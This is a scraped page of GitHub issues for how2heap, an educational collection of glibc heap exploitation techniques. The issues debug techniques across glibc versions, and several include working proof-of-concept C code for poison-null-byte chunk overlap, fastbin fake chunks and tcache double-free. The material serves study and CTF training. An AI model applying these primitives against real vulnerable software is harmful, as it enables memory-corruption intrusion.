Git Product home page Git Product logo

how2heap's People

Contributors

andigena avatar antoniobianchi333 avatar cloudburst avatar crowell avatar cyanboy avatar danigargu avatar degrigis avatar eterna1 avatar fr0ster avatar goreil avatar grazfather avatar htejeda avatar insuyun avatar jkrshnmenon avatar junmoxiao avatar k4lizen avatar kevinbackhouse avatar kyle-kyle avatar m1ghtym0 avatar martinclauss avatar mdulin2 avatar milo-d avatar n132 avatar nickstephens avatar rhelmot avatar sajjadium avatar salls avatar udpctf avatar xmzyshypnc avatar zardus avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

how2heap's Issues

A better way to handle different glibc

I've got a better way to handle different glibc by changing the binary's interpreter. Only need various libc.so and corresponding ld.so and you can learn these heap exploiting techniques without problems about glibc.

Check https://github.com/matrix1001/welpwn. I have written that function in PwnContext/auxiliary with name change_ld. And there's a example in readme.

See if you can use this.

No make rule for libdl.so.2

I'm getting this error when trying to compile glibc 2.25/2.26. I also had to use --disable-werror inside the Makefile, but that's another thing.

make[2]: *** No rule to make target '/home/kali/pentest/reversing/how2heap/glibc_build/dlfcn/libdl.so.2', needed by '/home/kali/pentest/reversing/how2heap/glibc_build/malloc/libmemusage.so'. Stop.

unsafe_unlink doesn't work with glibc 2.26

hi, I got a problem when running unsafe_unlink on my Linux which has glibc 2.26.
You have tested on Ubuntu16.04 which has glibc 2.23, and the following check has not been added in this version.

 /* Take a chunk off a bin list */
 #define unlink(AV, P, BK, FD) {                                            \
+    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
+      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
     FD = P->fd;                                                                      \
     BK = P->bk;                                                                      \
     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    \

In unsafe_unlink.c, These comments indicate that the check should be bypassed

We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)
With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))
If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).
We just need to set the *(chunk0_ptr + x) = x, so we can pass the check
1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing
2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass
3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20
In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (0x555555757268) == chunk0_ptr->size (0x555555757268)
You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

But not, I don't know why. Could you explain it for me?

Original value: Hello!~
New Value: Hello!~

How it works ?

I just learned about the heap, how does this work? Are there good sources for beginners like me?

Question about first_fit.c example

If x in c = malloc(x) is fewer than 505 bytes, the example won't work. As I understand in c = malloc(x), x should be in range from 505 to 520 bytes. If someone can point to source code, I will be happy to check it.

wrong in unsafe_unlink.c in glibc2.31

at line 40,
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
i think if normally freed, the chunk1.previous_size must be 0x430 instead 0x90.

Linux Kernel (SLUB/SLAB)

It'd be nice to see some write-ups on SLUB / SLAB exploitation.

It should be relatively easy to rip out the allocator and turn it into a user-space library a la LD_PRELOAD.

tcache attacks on glibc2.27 no longer work on ubuntu 18.04

Was testing in an ubuntu 18.04 docker container and found that I had to downgrade the libc version to get them working.

ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
root@ebae5017bf23:/how2heap# cd glibc_2.27/
root@ebae5017bf23:/how2heap/glibc_2.27# ./tcache_dup 
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x55bbb95f6670
Freeing twice...
free(): double free detected in tcache 2
Aborted (core dumped)

root@ebae5017bf23:/how2heap/glibc_2.27# cd ..
root@ebae5017bf23:/how2heap# DEBIAN_FRONTEND=noninteractive dpkg -i libc6_2.27-3ubuntu1.2_amd64.deb 
dpkg: warning: downgrading libc6:amd64 from 2.27-3ubuntu1.4 to 2.27-3ubuntu1.2
(Reading database ... 12312 files and directories currently installed.)
Preparing to unpack libc6_2.27-3ubuntu1.2_amd64.deb ...
Unpacking libc6:amd64 (2.27-3ubuntu1.2) over (2.27-3ubuntu1.4) ...
Setting up libc6:amd64 (2.27-3ubuntu1.2) ...
Processing triggers for libc-bin (2.27-3ubuntu1.4) ...

root@ebae5017bf23:/how2heap# cd -
/how2heap/glibc_2.27

root@ebae5017bf23:/how2heap/glibc_2.27# ./tcache_dup 
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x5592d164a670
Freeing twice...
Now the free list has [ 0x5592d164a670, 0x5592d164a670 ].
Next allocated buffers will be same: [ 0x5592d164a670, 0x5592d164a670 ].

I got the deb file from here https://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1.2_amd64.deb

Misleading descriptions for glibc > 2.26 techniques

I've created this issues, because from my personal perspective explanations of some techniques became misleading, when attacks on tcache were introduced. In example, let's see glibc_2.26/unsorted_bin_attack.c. It says that to use this technique is only usable, when libc is compiled without tcache. But, is there a chance that glibc would be compiled without tcache in real world?

There are multiple ways go get rid of tcache that don't require recompilation of glibc. In example, calloc function doesn't use tcache (at the moment). House of Rabbit includes another way to evict tcache, which requires strong primitives, but still...

I know it's hard to maintain this repo, because there are a lot of changes made to glibc allocation algorightms, and a lot of techniques have become deprecated lately, but I suppose that these descriptions might disorient beginners, who haven't yet learnt all these details.

Add some heap information

Add some heap information to make the code easier to understand.

Maybe the following code is more helpful and clean to know what's happened in the heap.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

// Modify from https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // step1: allocate padding
    void *tmp = malloc(0x1);
    void *heap_base = (void *)((long)tmp & (~0xfff));
    printf("heap address: %p\n", heap_base);
    size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20;
    void *padding= malloc(size);

    // step2: allocate prev chunk and victim chunk
    void *prev = malloc(0x500);
    void *victim = malloc(0x4f0);
    malloc(0x10);

    // step3: link prev into largebin
    void *a = malloc(0x4f0);
    malloc(0x10);
    void *b = malloc(0x510);
    malloc(0x10);

    /**
     * Heap layout:
     *     ... ...
     * padding 
     *    prev Chunk(addr=0x??0010, size=0x510)
     *  victim Chunk(addr=0x??0520, size=0x500)
     * barrier Chunk(addr=0x??0a20, size=0x20)
     *       a Chunk(addr=0x??0a40, size=0x500)
     * barrier Chunk(addr=0x??0f40, size=0x20)
     *       b Chunk(addr=0x??0f60, size=0x520)
     * barrier Chunk(addr=0x??1480, size=0x20)
     */

    free(a);
    free(b);
    free(prev);
    // unsorted_bins <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]

    malloc(0x1000); // Allocate a huge chunk to enable sorting
    // large_bin[67] <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]

    // step4: allocate prev again to construct fake chunk
    void *prev2 = malloc(0x500);
    // prev2->fd == prev2->fd_nextsize == a
    // prev2->bk == prev2->bk_nextsize == b
    ((long *)prev)[1] = 0x501;
    *(long *)(prev + 0x500) = 0x500;
    // fake_chunk == prev + 0x10 == 0x??0020
    // use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk
    // fake_chunk->fd == a
    // fake_chunk->bk == b

    // step5: bypass unlinking
    void *b2 = malloc(0x510); // b->fd == a
    // large_bin[67] <-> [prev, size=0x510] <-> [a, size=0x500]
    ((char*)b2)[0] = '\x10';
    ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk

    void *a2 = malloc(0x4f0);
    // large_bin[67] <-> [prev, size=0x510]

    free(a2);
    free(victim);
    // unsorted_bins <-> [victim, size=0x500] <-> [a, size=0x500]

    void *a3 = malloc(0x4f0); // a->bk == victim
    // unsorted_bins <-> [victim, size=0x500]
    ((char*)a3)[8] = '\x10';
    ((char*)a3)[9] = '\x00'; // a->bk <- fake_chunk

    // Now fake_chunk->fd->bk == a->bk == fake_chunk
    //     fake_chunk->bk->fd == b->fd == fake_chunk
    // can pass unlink_chunk in malloc.c:
    //      mchunkptr fd = p->fd;
    //      mchunkptr bk = p->bk;
    //      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    //          malloc_printerr ("corrupted double-linked list");

    // step6: add fake chunk into unsorted bin by off-by-null
    void *victim2 = malloc(0x4f0);
    /* VULNERABILITY */
    ((char *)victim2)[-8] = '\x00';
    /* VULNERABILITY */

    free(victim);
    // unsorted_bins <-> [fake_chunk + victim, size=0xa00]

    // step7: validate the chunk overlapping
    void *merged = malloc(0x100);
    assert((size_t)merged == (size_t)prev + 0x10);
}

house_of_lore.c in glibc_2.31 is incorrect

hi, the house_of_lore.c in glibc_2.31 is old ,which may be the 2.27 version but need change memcpy's offset(+0x68) i'm not sure this is same in different environment. :)

Slight mistake in house_of_force.c

Hi, I found a slight mistake of house_of_force.c

        fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");

//allocate first chunk
        intptr_t *p1 = malloc(256);

        fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2); 
        //fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2);   
        //explanation: wrong offset size because p1 is an intptr_t pointer, hence p1 - sizeof(long)*2 will actually offset address-8*2*8

The above is the suggested fix.

The correct output is as follows:

Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0x555555757250.

confirmed in gdb

gef➤  vmmap [heap]
Start              End                Offset             Perm Path
0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap]
gef➤  x/4gx 0x0000555555757000
0x555555757000:	0x0000000000000000	0x0000000000000251
0x555555757010:	0x0000000000000000	0x0000000000000000
gef➤  x/4gx 0x0000555555757250
0x555555757250:	0x0000000000000000	0x0000000000000111
0x555555757260:	0x0000000000000000	0x0000000000000000
gef➤  x/4gx 0x0000555555757250+0x110
0x555555757360:	0x0000000000000000	0x0000000000020ca1
0x555555757370:	0x0000000000000000	0x0000000000000000

glibc 2.25 poison_null_byte

in glibc.2.23 and glibc 2.24 have the check :chunk_size == next->prev->chunk_size

so the poison_null_byte done'st work. like this:
image

so we should bypass the check ,like glibc 2.6 poison_null_byte.c

Compilation issues

While compiling on Ubuntu 14.044.3, gcc version 4.8.4, I got the following error:

$ make
cc -std=c99    fastbin_dup.c   -o fastbin_dup
cc -std=c99    fastbin_dup_into_stack.c   -o fastbin_dup_into_stack
cc -std=c99    unsafe_unlink.c   -o unsafe_unlink
cc -std=c99    house_of_spirit.c   -o house_of_spirit
cc -std=c99    poison_null_byte.c   -o poison_null_byte
cc -std=c99    malloc_playground.c   -o malloc_playground
malloc_playground.c: In function ‘main’:
malloc_playground.c:27:3: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
   gets(buffer);
   ^
/tmp/ccquQQGB.o: In function `main':
malloc_playground.c:(.text+0xc2): warning: the `gets' function is dangerous and should not be used.

Poison null byte - the example might be confusing

The example shown in poison_null_byte.c can be a little bit misleading due to "C" and "B1" being consolidated and then merged with the top chunk.

And if changing the example is kind of too much, I think it's worth mentioning that it'd get merged with the top chunk.

look into HITCON 2016 examples

We didn't have a chance at the CTF, but we should figure out what babyheap needs, and if we should add a technique to how2heap for it.

Figure out a good balance for "Applicable CTF Challenges"

So far, we have between zero and two applicable CTF chals per technique. This is probably good, but the more CTFs run, the more applicable chals will pop up. We probably don't want humongous lists for people to get lost in, so we'll need a balance.

[Refactor] Refrain using printf/puts unless necessary

As shown in the following Proof of Concept, printf an puts make use of the heap and, these functions, do not release the allocated memory after using it (it seems these do so due to performance issues, I haven't reported the issue to libc developers yet). This can interfere with further analysis or exploitation.

I suggest a refactor from printf to fprintf(stderr, ...) should fix this issue.

Proof of Concept here, compile with gcc printf_fastbins_malloc_hook.c -o printf_poc -zexecstack

Puzzles of 【House Of The Lore】

Before talking about my puzzles, I'd like to thank the team shellphish for this wonderful repo! Much appreciate.

After that, I just found the comment in the house of lore is a bit confusing.

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

The puzzling part is In the unsorted bin.

After the debugging, I found that the (nil) pointer only happened when compiled into a 64-bit ELF. That is to say the fastbin (128 byte upper bound) is used instead of the unsorted bin as described.

Since the house of the lore is claimed to be tested in a 32-bit architecture, where the 100 byte chunk is indeed out the range of fastbin. However, after the debugging, these two pointers are by no means nil in the unsorted bin double linked list...

To summarize, I think the comment of pointers are nil should be removed.

house_of_orange...

In _IO_flush_lockp() function...

813 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
814 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
815 || (_IO_vtable_offset (fp) == 0
816 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
817 > fp->_wide_data->_IO_write_base))
818 #endif
819 )
820 && _IO_OVERFLOW (fp, EOF) == EOF)

we just satisfy (fp->_mode <= 0 && fp-> _IO_write_ptr > fp->_IO_write_base)

or (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data -> _IO_write_base)

I think former is more eaiser than later.

A tool for heap learning - HeapInspect

this is just a self-recommendation.

i am working on a project that dynamically analyse the heap by only a pid. no need of gdb.

currently it supports fastbins, bins, tcache. And i implemented relative mode. check this.

heapinspect $ python HeapInspect.py 12408

==============================     heapchunks     ==============================
chunk(0x555555559000): prev_size=0x0      size=0x251    fd=0x7             bk=0x0
chunk(0x555555559250): prev_size=0x0      size=0x21     fd=0x0             bk=0x0
chunk(0x555555559270): prev_size=0x0      size=0x21     fd=0x555555559260  bk=0x0
chunk(0x555555559290): prev_size=0x0      size=0x21     fd=0x555555559280  bk=0x0
chunk(0x5555555592b0): prev_size=0x0      size=0x21     fd=0x5555555592a0  bk=0x0
chunk(0x5555555592d0): prev_size=0x0      size=0x21     fd=0x5555555592c0  bk=0x0
chunk(0x5555555592f0): prev_size=0x0      size=0x21     fd=0x5555555592e0  bk=0x0
chunk(0x555555559310): prev_size=0x0      size=0x21     fd=0x555555559300  bk=0x0
chunk(0x555555559330): prev_size=0x0      size=0x411    fd=0x7ffff7fa6190  bk=0x555555559c50
chunk(0x555555559740): prev_size=0x5555.. size=0x401    fd=0x7ffff7fa5ca0  bk=0x7ffff7fa5ca0
chunk(0x555555559b40): prev_size=0x400    size=0x110    fd=0x7ffff7fa62f0  bk=0x7ffff7fa62f0
chunk(0x555555559c50): prev_size=0x0      size=0x821    fd=0x7ffff7fa6190  bk=0x55555555a580
chunk(0x55555555a470): prev_size=0x820    size=0x110    fd=0x7ffff7fa62a0  bk=0x7ffff7fa62a0
chunk(0x55555555a580): prev_size=0x5555.. size=0x831    fd=0x555555559c50  bk=0x7ffff7fa6190
chunk(0x55555555adb0): prev_size=0x830    size=0x110    fd=0x7ffff7fa60b0  bk=0x7ffff7fa60b0
chunk(0x55555555aec0): prev_size=0x5555.. size=0x211    fd=0x7ffff7fa6000  bk=0x7ffff7fa6000
chunk(0x55555555b0d0): prev_size=0x0      size=0x161    fd=0x7ffff7fa5df0  bk=0x7ffff7fa5df0
chunk(0x55555555b230): prev_size=0x160    size=0x20     fd=0x0             bk=0x0
chunk(0x55555555b250): prev_size=0x0      size=0x21     fd=0x7ffff7fa5cb0  bk=0x7ffff7fa5cb0
chunk(0x55555555b270): prev_size=0x20     size=0x20     fd=0x0             bk=0x0
chunk(0x55555555b290): prev_size=0x0      size=0x111    fd=0x0             bk=0x0
chunk(0x55555555b3a0): prev_size=0x0      size=0x1ec61  fd=0x0             bk=0x0
==============================    unsortedbins    ==============================
chunk(0x555555559740): prev_size=0x5555.. size=0x401    fd=0x7ffff7fa5ca0  bk=0x7ffff7fa5ca0
==============================  smallbins   0x20  ==============================
chunk(0x55555555b250): prev_size=0x0      size=0x21     fd=0x7ffff7fa5cb0  bk=0x7ffff7fa5cb0
==============================  smallbins   0x160 ==============================
chunk(0x55555555b0d0): prev_size=0x0      size=0x161    fd=0x7ffff7fa5df0  bk=0x7ffff7fa5df0
==============================  largebins   0x4f  ==============================
chunk(0x555555559c50): prev_size=0x0      size=0x821    fd=0x7ffff7fa6190  bk=0x55555555a580
chunk(0x55555555a580): prev_size=0x5555.. size=0x831    fd=0x555555559c50  bk=0x7ffff7fa6190

relative mode

=========================     relative heapchunks      =========================
chunk(heap+0x0     ): prev_size=0x0      size=0x251    fd=0x7           bk=0x0
chunk(heap+0x250   ): prev_size=0x0      size=0x21     fd=0x0           bk=0x0
chunk(heap+0x270   ): prev_size=0x0      size=0x21     fd=heap+0x260    bk=0x0
chunk(heap+0x290   ): prev_size=0x0      size=0x21     fd=heap+0x280    bk=0x0
chunk(heap+0x2b0   ): prev_size=0x0      size=0x21     fd=heap+0x2a0    bk=0x0
chunk(heap+0x2d0   ): prev_size=0x0      size=0x21     fd=heap+0x2c0    bk=0x0
chunk(heap+0x2f0   ): prev_size=0x0      size=0x21     fd=heap+0x2e0    bk=0x0
chunk(heap+0x310   ): prev_size=0x0      size=0x21     fd=heap+0x300    bk=0x0
chunk(heap+0x330   ): prev_size=0x0      size=0x411    fd=libc+0x1b8190 bk=heap+0xc50
chunk(heap+0x740   ): prev_size=0x5555.. size=0x401    fd=libc+0x1b7ca0 bk=libc+0x1b7ca0
chunk(heap+0xb40   ): prev_size=0x400    size=0x110    fd=libc+0x1b82f0 bk=libc+0x1b82f0
chunk(heap+0xc50   ): prev_size=0x0      size=0x821    fd=libc+0x1b8190 bk=heap+0x1580
chunk(heap+0x1470  ): prev_size=0x820    size=0x110    fd=libc+0x1b82a0 bk=libc+0x1b82a0
chunk(heap+0x1580  ): prev_size=0x5555.. size=0x831    fd=heap+0xc50    bk=libc+0x1b8190
chunk(heap+0x1db0  ): prev_size=0x830    size=0x110    fd=libc+0x1b80b0 bk=libc+0x1b80b0
chunk(heap+0x1ec0  ): prev_size=0x5555.. size=0x211    fd=libc+0x1b8000 bk=libc+0x1b8000
chunk(heap+0x20d0  ): prev_size=0x0      size=0x161    fd=libc+0x1b7df0 bk=libc+0x1b7df0
chunk(heap+0x2230  ): prev_size=0x160    size=0x20     fd=0x0           bk=0x0
chunk(heap+0x2250  ): prev_size=0x0      size=0x21     fd=libc+0x1b7cb0 bk=libc+0x1b7cb0
chunk(heap+0x2270  ): prev_size=0x20     size=0x20     fd=0x0           bk=0x0
chunk(heap+0x2290  ): prev_size=0x0      size=0x111    fd=0x0           bk=0x0
chunk(heap+0x23a0  ): prev_size=0x0      size=0x1ec61  fd=0x0           bk=0x0
=========================    relative unsortedbins     =========================
chunk(heap+0x740   ): prev_size=0x5555.. size=0x401    fd=libc+0x1b7ca0 bk=libc+0x1b7ca0
=========================  relative smallbins    0x20  =========================
chunk(heap+0x2250  ): prev_size=0x0      size=0x21     fd=libc+0x1b7cb0 bk=libc+0x1b7cb0
=========================  relative smallbins    0x160 =========================
chunk(heap+0x20d0  ): prev_size=0x0      size=0x161    fd=libc+0x1b7df0 bk=libc+0x1b7df0
=========================  relative largebins    0x4f  =========================
chunk(heap+0xc50   ): prev_size=0x0      size=0x821    fd=libc+0x1b8190 bk=heap+0x1580
chunk(heap+0x1580  ): prev_size=0x5555.. size=0x831    fd=heap+0xc50    bk=libc+0x1b8190

however, i haven't finished it. but i believe that this tool will help starters a lot.

heapinspect

Update House of Force Version Info

The main page claims that libc < 2.29 is vulnerable to the House of Force attack, but the malloc(): corrupted top size check seems to have been backported to previous versions. My 2.28 libc contains this check. Prior versions may have received the fix as well.

house_of_orange broken

The exploit chain of the house_of_orange might be broken, due to changes in stdlib/abort.c

Commit 91e7cf982d0104f0e71770f5ae8e3faf352dea9f

Before:

  #define fflush(s) _IO_flush_all_lockp (0)
...
  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);                                                                                                                                                                                                
    }

Now:

 /* Send signal which possibly calls a user handler.  */
  if (stage == 1)
    {
      /* This stage is special: we must allow repeated calls of
     `abort' when a user defined handler for SIGABRT is installed.
     This is risky since the `raise' implementation might also
     fail but I don't see another possibility.  */
      int save_stage = stage;

      stage = 0;
      __libc_lock_unlock_recursive (lock);

      raise (SIGABRT);

      __libc_lock_lock_recursive (lock);
      stage = save_stage + 1;
    }

This means _IO_flush_all_lockp is no longer called from malloc_printerr.

However, the actual heap corruption is still feasible only the special way of gaining ip-controlled needs a new thought.

tcache stuff

Thread local caching was enabled by default with version 2.26

Adjust examples to the new caching mechanism and hopefully add some new attacks introduced by the tcache itself!:-)

something not clearly when calculating on the size of padding in poision_null_byte.c in glibc2.31

hello, when i debug the elf created by this file.
at line 22, calculate the size of padding, at my machine :
the tmp = 0x4062a0
so size = 0x10000 - 0x4062a0&0xffff - 0x30
and the operation priority i read at prority tell that it do '&' before do '-'
but the result is
pwndbg> p/x 0x10000 - 0x4062a0&0xffff - 0x30
$3 = 0x9d40

when it must be
pwndbg> p/x 0x4062a0&0xffff
$4 = 0x62a0
pwndbg> p/x 0x62a0-0x30
$5 = 0x6270
pwndbg> p/x 0x10000-0x6270
$6 = 0x9d90
what's wrong?

Add techniques found by ArcHeap

Hi, all.

I would like to introduce my recent work, ArcHeap: https://arxiv.org/pdf/1903.00503.pdf
and also found techniques by this one.

I already reported unsorted_bin_into_stack, and this repo contains other techniques (all tested in libc 2.23 from Ubuntu 16.04, but I think it will work until 2.25 before tcache).

We determine the uniqueness of the techniques in two aspects: a root cause and a capability.

New Old Root causes New capability
House of unsorted bin House of Einherjar Unsorted vs. Free Does not require a heap address
Unaligned Double Free Fast bin dup Small vs. Fast Can abuse a small bin
Overlapping chunk with small bin Overlapping chunk Small vs. Unsorted Does not need a controllable size allocation
Fast bin into other bin Fast bin dup into stack Consolidation vs. Fast Can allocate a non-fast chunk

Let me know if you have a technique to add to this repo. Then I will make a pull request. Thank you.

House of Force not working under glibc2.28

This is from glibc2.28/malloc/malloc.c:3719

        if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
				   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");

However in README.md, the Glibc-Version is < 2.29.

Want to ask question about fake chunk in fastbins

Hello, i want to insert fake chunk in fastbins, fake chunk will point into abitrary address. for example, i want to overwrite malloc_hook, and i found fake chunk before malloc_hook where the size is 0x7f. i insert that fake chunk into fastbins and then i malloc, but malloc gives me an error. but when i change the size value in fake chunk with 0x81, malloc success.

is 0x7f is invalid size for fastbins ?, i read article on internet they use fake chunk where the size 0x7f and malloc success return an address of fake_chunk.

i made sample code to create fake chunk.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char const* argv[])
{
	char data[0x80];
	long *a, *b, *c;
	a = malloc(0x70);
	b = malloc(0x70);
	c = malloc(0x70);
	free(a);
	free(b);
	*(long*)&data[8] = 0x7f;
	printf("data = %p\n", &data);
	*b = (long)&data;
	printf("malloc(0x70) = %p\n", malloc(0x70));
	printf("malloc(0x70) = %p\n", malloc(0x70));
	return 0;
}

above script gives me an error.

vagrant@vagrant-ubuntu-trusty-64:/vagrant/tmp$ ./fake_chunk 
data = 0x7ffde5eb6c10
malloc(0x70) = 0xa10090
*** Error in `./fake_chunk': malloc(): memory corruption (fast): 0x00007ffde5eb6c20 ***
Aborted (core dumped)

when i change the size of fake chunk with 0x81, it's works

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char const* argv[])
{
	char data[0x80];
	long *a, *b, *c;
	a = malloc(0x70);
	b = malloc(0x70);
	c = malloc(0x70);
	free(a);
	free(b);
	*(long*)&data[8] = 0x81;
	printf("data = %p\n", &data);
	*b = (long)&data;
	printf("malloc(0x70) = %p\n", malloc(0x70));
	printf("malloc(0x70) = %p\n", malloc(0x70));
	return 0;
}
vagrant@vagrant-ubuntu-trusty-64:/vagrant/tmp$ ./fake_chunk 
data = 0x7ffeb847a220
malloc(0x70) = 0x1a73090
malloc(0x70) = 0x7ffeb847a230

sorry for my bad english, hope you understand what i mean. thanks for your help

house_of_einherjar example size check

I'm seeing the following in the example posted:

We edit our fake chunk size so that it is small enough to pass size checks

Can you guys post a url (maybe in the code) to where in the C code this check is taking place?

House of Storm POC Randomization Issue

Hey @Kyle-Kyle ,

I have written up a proof of concept for the House of Storm technique that I would love to add. The technique works by using offsetted bytes with the unsorted bin attack to act as a size of the chunk we want. Once this happens, the next iteration of the unsorted bin will have the proper size and take our chunk out because it is now an exact match. This is an awesome primitive because it returns an arbitrary chunk from the allocator.

However, the technique has a problem for this repo; because of the size being written and requiring an absolute match in the unsorted bin iterations, there is a 1/2 chance this check will fail because the 4th bit on the chunk size (resulting in the program crashing). This crash can be predicted but it is not as possible to work around because the size value write and the chunk removal happen on a single call to malloc.

What are your thoughts on adding this technique to the repo? Because of the randomness that cannot be circumvented (1/2) I wanted to hear your thoughts before making a PR.

Typo on house of spirit... I think

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

On this line I believe &fake_chunks[7] should be &fake_chunks[9] given that the next header is placed like so: fake_chunks[9] = 0x1234; // nextsize

Reorganize

The current folders glibc_2.25 and glibc_2.26 don't really make sense anymore.
I would prefer something like deprecated and active.
However, we often have multiple stages of deprecated, which are working around several checks until finally killed...
Maybe we should create a folder for each major technique in deprecated and keep several versions in there, thoughts?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.